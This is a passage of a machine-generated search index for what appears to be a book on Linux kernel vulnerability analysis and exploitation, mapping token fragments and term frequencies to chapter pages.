ters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"=":{"docs":{},"$":{"docs":{},"{":{"docs":{},"o":{"docs":{},"u":{"docs":{},"t":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"}":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"_":{"docs":{},"r":{"docs":{},"d":{"docs":{},"o":{"docs":{},"n":{"docs":{},"l":{"docs":{},"y":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"c":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"f":{"docs":{},"f":{"docs":{},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"o":{"docs":{},"f":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}}},"_":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":0.08333333333333333}}}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"r":{"docs":{},"w":{"docs":{},"i":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"p":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"l":{"docs":{},"a":{"docs":{},"t":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"m":{"docs":{},".":{"docs":{"./":{"ref":"./","tf":0.05}}}}}}}},"y":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"c":{"docs":{},"e":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"g":{"docs":{},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"a":{"docs":{},"t":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"=":{"docs":{},"\"":{"docs":{},"/":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"/":{"docs":{},"m":{"docs":{},"i":{"docs":{},"s":{"docs":{},"c":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{},"o":{"docs":{},"r":{"docs":{},"\"":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}}}}}}}}}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"c":{"docs":{},"h":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"g":{"docs":{},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"_":{"docs":{},"f":{"docs":{},"r":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},":":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"docs":{},"a":{"0":{"0":{"0":{"1":{"3":{"9":{"2":{"1":{"0":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"s":{"docs":{},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"2":{"docs":{},"/":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"v":{"docs":{},".":{"2":{"docs":{},".":{"docs":{},"h":{"docs":{},"t":{"docs":{},"m":{"docs":{},"l":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}},"docs":{}}}}}}}}},"docs":{}}}}}}}},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"s":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002800336040324839}}}},"u":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"c":{"docs":{},"k":{"docs":{},"a":{"docs":{},"g":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},"m":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"=":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.005703422053231939}}},"docs":{}}}}}}}}},"f":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"m":{"docs":{},"u":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"s":{"docs":{},"o":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"n":{"docs":{},"d":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"o":{"docs":{},"w":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.009985734664764621},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004760571268552226}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"l":{"docs":{},"i":{"docs":{},"c":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"e":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"h":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"(":{"docs":{},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"e":{"docs":{},"r":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"r":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"s":{"docs":{},"t":{"docs":{},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"_":{"docs":{},"c":{"docs":{},"m":{"docs":{},"d":{"docs":{},"s":{"docs":{},"=":{"docs":{},"\"":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"p":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"s":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.004260758414997869},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.009801176141136937},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.025}},"o":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"t":{"docs":{},"o":{"docs":{},"d":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"e":{"docs":{},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"t":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"d":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"o":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"o":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"v":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},".":{"docs":{},"o":{"docs":{},"r":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"e":{"docs":{},"c":{"docs":{},"i":{"docs":{},"s":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"e":{"docs":{},"m":{"docs":{},"p":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"i":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"n":{"docs":{},"o":{"docs":{},"t":{"docs":{},"i":{"docs":{},"f":{"docs":{},"i":{"docs":{},"e":{"docs":{},"r":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"f":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},"_":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"e":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}}}}}}}}},"s":{"docs":{},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"v":{"docs":{